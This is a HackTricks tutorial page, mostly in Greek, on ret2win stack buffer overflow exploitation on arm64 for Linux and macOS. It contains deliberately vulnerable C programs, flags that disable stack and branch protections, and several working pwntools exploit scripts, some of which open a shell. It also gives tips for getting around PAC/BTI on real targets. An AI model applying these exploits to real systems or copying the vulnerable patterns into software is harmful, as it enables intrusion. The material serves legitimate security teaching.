Ret2win - arm64

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βρείτε μια εισαγωγή στο arm64 στο:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Μεταγλώττιση χωρίς pie και canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • The extra flag -mbranch-protection=none disables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can:
  • Look for AArch64 GNU properties:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Inspect prologues/epilogues for paciasp/autiasp (PAC) or for bti c landing pads (BTI):
  • objdump -d ret2win | head -n 40

Σύντομα στοιχεία για την calling convention του AArch64

  • Το link register είναι x30 (γνωστό και ως lr), και οι συναρτήσεις συνήθως σώζουν x29/x30 με stp x29, x30, [sp, #-16]! και τα επαναφέρουν με ldp x29, x30, [sp], #16; ret.
  • Αυτό σημαίνει ότι η αποθηκευμένη διεύθυνση επιστροφής βρίσκεται στο sp+8 σε σχέση με τη βάση του frame. Με ένα char buffer[64] τοποθετημένο πιο κάτω, η συνηθισμένη απόσταση υπεργραφής προς το αποθηκευμένο x30 είναι 64 (buffer) + 8 (αποθηκευμένο x29) = 72 bytes — ακριβώς ό,τι θα βρούμε παρακάτω.
  • Ο stack pointer πρέπει να παραμείνει ευθυγραμμισμένος σε 16‑byte στα όρια των συναρτήσεων. Αν φτιάξεις ROP chains αργότερα για πιο σύνθετα σενάρια, διατήρησε την ευθυγράμμιση του SP αλλιώς μπορεί να καταρρεύσει το πρόγραμμα στα epilogues των συναρτήσεων.

Εύρεση του offset

Επιλογή pattern

Το παράδειγμα αυτό δημιουργήθηκε χρησιμοποιώντας GEF:

Ξεκίνα το gdb με gef, δημιούργησε pattern και χρησιμοποίησέ το:

gdb -q ./ret2win
pattern create 200
run

Το arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει παραβιαστεί). Μπορούμε να το χρησιμοποιήσουμε για να βρούμε το pattern offset:

pattern search $x30

Το offset είναι 72 (9x48).

Stack offset επιλογή

Ξεκινήστε βρίσκοντας τη διεύθυνση στο stack όπου αποθηκεύεται ο pc register:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Τώρα ορίστε ένα breakpoint μετά το read() και συνεχίστε μέχρι να εκτελεστεί το read() και ορίστε ένα pattern όπως 13371337:

b *vulnerable_function+28
c

Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:

Στη συνέχεια: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Κανονικό

Λάβετε τη διεύθυνση της συνάρτησης win:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Στην πραγματικότητα αυτό θα είναι περισσότερο σαν ένα off-by-2 στο αποθηκευμένο PC στο stack. Αντί να επανεγράψουμε ολόκληρο το return address, θα επανεγράψουμε μόνο τα τελευταία 2 bytes με 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Μπορείτε να βρείτε άλλο ένα παράδειγμα off-by-one σε ARM64 στο https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, το οποίο είναι ένα πραγματικό off-by-one σε μια φανταστική ευπάθεια.

Με PIE

Tip

Μεταγλωττίστε το binary χωρίς το επιχείρημα -no-pie

Off-by-2

Χωρίς leak δεν γνωρίζουμε την ακριβή διεύθυνση της win function, αλλά μπορούμε να γνωρίζουμε το offset της συνάρτησης μέσα στο binary και, δεδομένου ότι το return address που αντικαθιστούμε ήδη δείχνει σε μια κοντινή διεύθυνση, είναι δυνατό να leak το offset προς τη win function (0x7d4) σε αυτήν την περίπτωση και απλώς να χρησιμοποιήσουμε αυτό το offset:

```python from pwn import *

Configuration

binary_name = ‘./ret2win’ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

## macOS

### Κώδικας
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}

void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}

int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}

Κάντε compile χωρίς canary (στο macOS δεν μπορείτε να απενεργοποιήσετε το PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Εκτελέστε χωρίς ASLR (αν και επειδή έχουμε address leak, δεν το χρειαζόμαστε):

env DYLD_DISABLE_ASLR=1 ./bof_macos

Tip

Δεν είναι δυνατό να απενεργοποιήσεις το NX σε macOS, επειδή σε arm64 η λειτουργία αυτή υλοποιείται σε επίπεδο υλικού· γι’ αυτό δεν θα βρεις παραδείγματα με shellcode στο stack σε macOS.

Βρείτε το offset

  • Δημιουργήστε ένα pattern:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
  • Εκτέλεσε το πρόγραμμα και εισήγαγε το pattern για να προκαλέσεις την κατάρρευση:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
  • Ελέγξτε τον καταχωρητή x30 (the return address) για να βρείτε το offset:
(lldb) register read x30
  • Χρησιμοποιήστε cyclic -l <value> για να βρείτε την ακριβή μετατόπιση:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY

# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Έτσι βρήκα το offset 72. Αν τοποθετήσεις σε αυτό το offset τη διεύθυνση της συνάρτησης win(), μπορείς να εκτελέσεις αυτή τη συνάρτηση και να πάρεις ένα shell (τρέχοντας χωρίς ASLR).

Exploit

#!/usr/bin/env python3
from pwn import *
import re

# Load the binary
binary_name = './bof_macos'

# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)

win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

macOS - 2ο παράδειγμα

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}

__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}

__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}

int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);

// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);

// Sleep 3s
sleep(3);

vuln();
return 0;
}

Μεταγλωττίστε χωρίς canary (στο macOS δεν μπορείτε να απενεργοποιήσετε το PIE):

clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security

Βρείτε το offset

  • Δημιουργήστε ένα pattern στο αρχείο /tmp/exploit.txt:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
  • Εκτελέστε το πρόγραμμα για να προκαλέσετε crash:
lldb ./bof_macos
(lldb) run
  • Ελέγξτε τον καταχωρητή x30 (τη διεύθυνση επιστροφής) για να βρείτε το offset:
(lldb) register read x30
  • Χρησιμοποιήστε cyclic -l <value> για να βρείτε το ακριβές offset:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
  • Έτσι βρήκα το offset 72. Τοποθετώντας σε αυτό το offset τη διεύθυνση της win() συνάρτησης μπορείς να εκτελέσεις αυτή τη συνάρτηση και να πάρεις ένα shell (τρέχοντας χωρίς ASLR).

Υπολογίστε τη διεύθυνση του win()

  • Το binary είναι PIE. Χρησιμοποιώντας το leak της leak_anchor() συνάρτησης και γνωρίζοντας το offset της win() συνάρτησης σε σχέση με την leak_anchor() συνάρτηση, μπορούμε να υπολογίσουμε τη διεύθυνση της win() συνάρτησης.
objdump -d bof_macos | grep -E 'leak_anchor|win'

0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
  • Το offset είναι 0x47c - 0x460 = 0x1c

Exploit

#!/usr/bin/env python3
from pwn import *
import re
import os

# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)

# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")

# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")

# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")

# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8  # 72 bytes total to reach the return address

# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")

# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)

print("[*] Payload written to /tmp/exploit.txt")

# Drop to an interactive session
p.interactive()

Σημειώσεις για τον σύγχρονο AArch64 hardening (PAC/BTI) και ret2win

  • Αν το binary είναι compiled με AArch64 Branch Protection, μπορεί να δείτε paciasp/autiasp ή bti c emitted στους function prologues/epilogues. Σε αυτή την περίπτωση:
  • Η επιστροφή σε μια διεύθυνση που δεν είναι έγκυρο BTI landing pad μπορεί να προκαλέσει SIGILL. Προτιμήστε να στοχεύετε το ακριβές function entry που περιέχει bti c.
  • Αν το PAC είναι enabled για returns, naive return‑address overwrites μπορεί να αποτύχουν επειδή το epilogue authenticates το x30. Για learning scenarios, rebuild με -mbranch-protection=none (shown above). Όταν επιτίθεστε σε πραγματικούς στόχους, προτιμήστε non‑return hijacks (π.χ. function pointer overwrites) ή φτιάξτε ROP που ποτέ δεν εκτελεί ένα ζεύγος autiasp/ret που authenticates το forged LR σας.
  • Για γρήγορο έλεγχο των features:
  • readelf --notes -W ./ret2win και κοιτάξτε για σημειώσεις AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 και κοιτάξτε για bti c, paciasp, autiasp.

Εκτέλεση σε non‑ARM64 hosts (qemu‑user quick tip)

Εάν βρίσκεστε σε x86_64 αλλά θέλετε να εξασκηθείτε σε AArch64:

# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Σχετικές σελίδες HackTricks

Ret2syscall - arm64

Ret2lib + Printf leak - arm64

Αναφορές

  • Ενεργοποίηση PAC και BTI στο AArch64 για Linux (Arm Community, Νοε 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Πρότυπο Procedure Call Standard για την αρχιτεκτονική Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks